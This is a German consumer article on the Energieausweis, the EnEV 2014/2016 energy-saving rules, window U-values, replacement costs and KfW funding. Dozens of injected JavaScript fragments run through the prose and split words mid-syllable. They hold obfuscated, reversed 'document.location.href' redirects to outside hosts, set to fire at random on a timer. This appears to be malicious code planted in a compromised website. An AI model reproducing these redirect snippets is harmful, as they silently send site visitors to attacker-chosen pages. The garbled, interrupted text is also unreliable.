Die Einführung des für jeden Immobilienverkäufer und Vermieter obligadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torischen Energieausweises hat für sehr viel Verunsicherung gesorgt. Dabei ist die Sache an und für sich weitaus weniger kompliziert als ursprünglich angenommen. Und schließlich hat der Energieausweis auch seine guten Seiten. So wird aus dem Gutachten zum Beispiel ersichtlich, wo sich im Rahmen von etwaigen Modernisierungsmaßnahmen Energiekosten sparen lassen.

Im Energieausweis ist nicht nur eine detaillierte Beschreibung des jeweiligen Hauses enthalten, sondern auch das Datum, bis zu dem der Ausweis gültig ist. Im Energieausweis ist der Gebäudetyp genauestens beschrieben sowie die Adresse, das Baujahr des Gebäudes und die jeweiligen Baujahre der technischen Ausstattung. Bei Mehrfamilienhäusern wird des Weiteren auch die Zahl der Wohneinheiten mitangegeben ebenso wie die Gebäudenutzfläche. Auch der Einsatz erneuerbarer Energien und die Lüftung werden berücksichtigt.

Bei der Ausstellung des Energieausweises existieren zwei verschiedene Verfahren. Zum einen kann der Ausweis auf der Basis des errechneten Energiebedarfs ausgestellt werden und zum doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anderen auf Grund der Energieverbrauchs-Auswertung. Bei einem Energieausweis, der auf der Auswertung des Energieverbrauchs beruht, ist des Weiteren die Angabe erforderlich, ob die Darstellung auf den eigenen Erhebungen des Ausweisausstellers beruht, oder aber auf den Angaben des Hausbesitzers. In dem Fall, dass der Ausweis auf der Basis des errechneten Energiebedarfs ausgestellt wurde, ist eine farbige Skala vorhdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anden, die in grün bis rot markierten Feldern den Verbrauch an Kilowattstunden pro Jahr und Quadratmeter veranschaulicht. Der nach oben weisende Pfeil gibt Aufschluss über den jeweiligen Endenergiebedarf des Hauses, während der nach unten weisende Pfeil den Jahres-Primär-Energiebedarf anzeigt. Ein Energieausweis ist nur dann gültig, wenn er abschließend mit der Unterschrift des Ausstellers versehen ist.

Darstellung des Energiebedarfs im Energieausweis

Beim im Energieausweis angegebenen Endenergiebedarf hdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andelt es sich um den rein auf rechnerischer Basis ermittelten Energiebedarf für die Lüftung, die Warmwasseraufbereitung sowie für die Heizung. Da diesbezüglich allerdings die nutzungsabhängigen Fakdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toren nicht berücksichtigt wurden, ist der tatsächliche Energiebedarf nicht bekannt, weil dieser von der Häufigkeit des Gebrauchs der Energie abhängig ist, zum Beispiel davon, wie oft die Wäsche letztendlich gewaschen oder wie oft gebadet, beziehungsweise geduscht wird. Auch im Hinblick auf die Heizkosten können sich letztendlich Differenzen ergeben, da die klimatischen Bedingungen beim Ausstellen des Energiepasses auf der Basis eines deutschldoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andweit gültigen Mittelwertes lediglich geschätzt wurden. So kann der Energieverbrauch in kalten und langen Wintern sehr viel höher ausfallen als im Ausweis angegeben und umgekehrt bei milden und kurzen Wintern deutlich darunter liegen. Der Energieausweis erfüllt dennoch für den potenziellen Käufer einer Immobilie einen sehr nützlichen Zweck. So kann das Vergleichen der Energieausweise mehrerer am Ort befindlicher Gebäude letztendlich sehr aufschlussreich sein. Unter dem im Energieausweis angegebenen Primärenergiebedarf versteht man hingegen den Aufwdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and für die Zurverfügungstellung der jeweiligen ans Haus angeschlossenen Energieträger.

Durch die Darstellung dieses Wertes möchte man die Umweltverträglichkeit sowie die Energieeffizienz verdeutlichen. Je niedriger der Primärenergiebedarf, desdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to energiesparender ist das Haus. Für die jeweilige Berechnung wird des Weiteren auch der Transport- und Erzeugungsaufwdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and berücksichtigt. So werden die direkt am Gebäude installierten Solaranlagen mit dem Fakdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor 0 bewertet, während fossile Brennsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toffe wie Erdgas oder Öl mit dem Fakdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor 1,1 bezeichnet werden.

Derzeit gilt die Energieeinsparverordnung – EnEV 2014 / 2016. In Deutschldoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and gibt es über 15 Millionen Wohngebäude. Davon sind etwa 13 Millionen Gebäude Einfamilien- und Zweifamilienhäuser. Über 80 % der Gebäude sind älter als 25 Jahre und besitzen teilweise ein entsprechend hohes Sanierungspotential und daher so auch einen hohen Jahresheizwärmebedarf.

Während ältere und unsanierte Gebäude oftmals deutlich über 20 Liter Heizöl pro Quadratmeter Wohnfläche und Jahr benötigen, kann der Jahresheizwärmebedarf energetisch optimierter Gebäude heutzutage unter 3 Liter Heizöl pro Quadratmeter Wohnfläche liegen. (Analog ist natürlich auch der  Vergleich mit doctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anderen Brennsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toffarten möglich).

Anforderungen der Energieeinsparverordnung

Die energetischen (Mindest-)Anforderungen an Gebäude sind in der aktuellen Energieeinsparverordnung geregelt. Aus den Wärmeschutzverordnungen (WSVO 1977, 1984 und 1995) und der Heizungsanlagen-Verordnung (HeizAnlV 1978, 1981  …  1998)   entwickelte sich die Energieeinsparverordnung (ENEV 2002, 2004, 2007, 2009, 2014).

Die aktuell geltende Energieeinsparverordnung – EnEV 2016, ist die zweite Stufe der EnEV 2014. Sie beinhaltet vor allem um etwa 25 Prozent höhere energetische Anforderungen an den Primärenergiebedarf für Neubauten. Zudem steigen die Anforderungen an die Dämmung (Transmissionswärmeverluste) um durchschnittlich 20 Prozent. Die Bewertung des Primärenergiefakdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors wurde ebenfalls etwas korrigiert. So wird die Beheizung mit Strom nunmehr etwas „besser“ bewertet als bisher. Hintergrund ist vor allem, dass bei der Stromerzeugung der regenertaiv erzeugte Anteil zugenommen hat. Für Bestdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andsgebäude gibt es währenddessen kaum Änderungen.

Energieeinsparverordnung –  Wie geht es weiter?

In der kommenden Energieeinsparverordnung werden – nach bisheriger Planung die energetischen Anforderungen weiter verschärft werden. Im Jahr 2020 sollen als Neubauten generell nur noch Niedrigstenergiehäuser, Null- oder Plusenergiehäuser zulässig sein… Sind im Frühjahr Neubau- oder Sanierungsvorhaben geplant, sollten die aktuellen Anforderungen bekannt sein und auch unbedingt eingehalten werden. Selbst wenn „nur“ die Fassade des alten Gebäudes erneuert werden sollte, sind die Anforderungen der EnEV einzuhalten.

Wann Sie beispielsweise in diesem Fall dämmen sollten (oder müssen) und wie stark diese Dämmung sein sollte und inwieweit sich welche Variante als wirtschaftlich erweist, ist vor Beginn der Maßnahme genau zu klären. Hierzu können einzelne Ratgeber (Fachliteratur), Info-Portale, Foren, Online-Beratungen, unabhängige Energieberater vor Ort, Verbraucherzentralen oder manchmal auch der Besuch von Fachmessen sinnvoll sein.

News zur Energieeinsparverordnung und weiteren gesetzlichen Regelungen

Da erst in diesem Jahr die festgelegten Verschärfungen der Energieeinsparverordnung in Kraft getreten sind, kann davon ausgegangen werden, dass in 2017 keine neue EnEV erscheinen wird. Möglicherweise wird es jedoch eine gesetzliche Neuregelung geben, die die EnEV und das Erneuerbare-Energien-Wärmegesetz (EEWärmeG) zusammenführt. Ferner ist aktuell der Klimaschutzplan 2050 in der Abstimmung. Zugleich gibt es auf EU-Ebene viel Bewegung. Hier wird es insbesondere eine neue EU-Richtlinie für Gebäude (EPBD) geben. Außerdem sind tiefgreifende Neuregelungen im Normensekdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor zur Bilanzierung der Gebäude auf EU-Ebene in Arbeit.

Die EnEV ist auf jeden Fall ein spannendes Thema. Wir warten gespannt auf die kommende Energieeinsparverordnung. …

Die EnEV 2014/2016 schreibt vor, dass bei energetischer Sanierung eines Gebäudes die Unternehmen ihre Arbeiten zur dokumentieren haben und einen privaten Nachweis, eine so genannte Unternehmererklärung ausstellen müssen. Damit soll sichergestellt werden, dass die Anforderungen nach EnEV und ggf. der EnEV-DVO des jeweiligen Bundesldoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andes sowie natürlich auch die technischen Mindestanforderungen eingehalten werden.

Auf dem Fenster -Sekdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor hat sich in den letzten Jahren sehr viel getan. Selbst Fenster, die eigentlich noch nicht „so alt“ erscheinen, sind energetisch oftmals deutlich schlechter als neue Fenster. Wann sollte man sich neue Fenster kaufen und einbauen lassen? Welche Preise sind zu erwarten und wie sieht es mit der Wirtschaftlichkeit aus?

Effizienz neuer Fenster; Bild: lichtkunst.73 / pixelio.de

Energetische Entwicklung der Fenster

Während einfach verglaste Holzfenster einen U-Wert (= Kennziffer zur Kennzeichnung des Wärmedurchgangs) von etwa 5 Watt pro Quadratmeter Fensterfläche und Kelvin Temperaturdifferenz aufweisen, haben heutige Passivhausfenster bereits einen U-Wert von unter 0,8 W/(m² K). Diese Fenster weisen also etwa 85 Prozent weniger Wärmeverluste auf als die einfachverglasten Fenster. Man sieht, in diesem Fall würde ein Fensteraustausch zu deutlicher Energieeinsparung führen und wäre damit unbedingt empfehlenswert.

So haben sich die U-Werte der Fenster im Bestdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and in den letzten Jahren verändert:

Diese Angaben dienen lediglich einer ungefähren Abschätzung. Es gab stets auch Fenster, die energetisch deutlich besser gebaut wurden, als es im jeweiligen Zeitraum üblich war.

Neue Fenster – Preise und Wirtschaftlichkeit

Ein Fenstertausch ist leider sehr teuer. Die Preise für Fenster und Einbau liegen meist zwischen 350 und 850 Euro pro Quadratmeter Fensterfläche, abhängig von Fensterform, Fensteraufbau (ggf. inklusive Rolladenkasten) und energetischer Qualität.

Durch den Tausch eines Fensters mit Einfachverglasung gegen beispielsweise ein Passivhausfenster sind Heizkosteneinsparungen von bis zu etwa 10 Euro pro Quadratmeter Fensterfläche und Jahr möglich. Bei Berücksichtigung typischer Besonderheiten, wie beispielsweise höhere Wärmeverluste der alten Fenster durch verzogene Holzrahmen, wäre das Einsparpotential natürlich deutlich höher.

Wie dieses Rechnenbeispiel zeigt, ist eine Amortisation der Investitionskosten meist sehr langfristig gegeben.  Das genaue Einsparpotential kann im Einzelfall für jedes Gebäude und jedes spezifische Nutzerverhalten errechnet werden.

U-Wert für neue Fenster – Unterscheidung zwischen U_w-Wert, U_f-Wert und U_g-Wert

Hausbesitzer, die sich neue Fenster kaufen wollen, sollten sich stets am U_w-Wert (w – window / Fenster) für das Gesamtfenster orientieren. Dieser Wert gibt den U-Wert des gesamten Fensters (einschließlich Glas und Rahmen) wieder. Der U_g-Wert (g – glas / Glas) bezieht sich ausschließlich auf das Glas, der U_f-Wert (f – frame / Rahmen) bezieht sich ausschließlich auf den Fensterrahmen.

Abb.: Beispiel – Außenwdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andfenster mit Dreischeiben-Wärmeschutzverglasung

• U-Wert Rahmen: U_f = 0,8 W/(m²K),
• U-Wert Glas: U_g = 0,5 W/(m²K),
• U-Wert Bauteil gesamt: U_w = 0,7 W/(m²K)

Die aktuelle Energieeinsparverordnung fordert einen Mindestwert ( U_w-Wert ) von 1,3 W/(m²K) für außenliegende Fenster und Fenstertüren bzw. 1,4 W/(m²K) für Dachflächenfenster. Für Verglasungen wird ein U-Wert von mindestens 1,1 W/(m²K) gefordert.

Empfehlenswert sind Außenwdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andfenster mit einem U-Wert unter 1,0 W/(m² K) und einem g-Wert (Gesamtenergie-Durchlassgrad) zwischen 0,58 und 0,7.

Um eine Einzelmaßnahmenförderung durch die KfW-Bank beantragen zu können, müssen U_w-Werte von mindestens 0,95 W/(m²K) für Außenwdoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andfenster, Balkon- und Terrassentüren bzw. von 1,0 W/(m²K) für Dachflächenfenster erreicht werden. Der Investitionszuschuss könnte in diesem Fall 10 Prozent der Gesamtkosten bzw. maximal 5.000 Euro pro Wohneinheit betragen (bei Erfüllung der KfW-Einbaubedingungen). Alternativ könnte auch ein zinsgünstiger Kredit (aktueller Zinssatz: 0,75 Prozent) beantragt werden.

Neue Fenster kaufen und einbauen

Neue Fenster sind grundsätzlich im Gesamtkonzept der Hausmodernisierung zu betrachten. Die Bauphysik ist hierbei unbedingt zu beachten. Möglicherweise ist zugleich ein Lüftungskonzept oder die energetische Sanierung der Außenwände erforderlich.

Vor dem Kauf sind zudem weitere Informationen zu Möglichkeiten der Fenstersanierung (Design, Farbe, Verglasung, Einbaukriterien etc.) und vor allem zu den Kosten erforderlich. Da die Auswahl geeigneter Fenster nicht einfach ist  und zahlreiche Zusatzkriterien beachtet werden sollten, wie Schallschutz, Sonnenschutz oder Sicherheitsverglasung, ist meist ein direkter Ansprechpartner empfehlenswert. Bei Sorpetaler beispielsweise wird ein direkter persönlicher Kontakt angeboten. Insgesamt erhält man auf diese Weise zahlreiche Informationen und einen sehr guten Preisvergleich. Es ist auch möglich, auf einem Online-Portal Fenster günstig zu erwerben und nach Lieferung, durch Fachfirmen vor Ort einbauen zu lassen.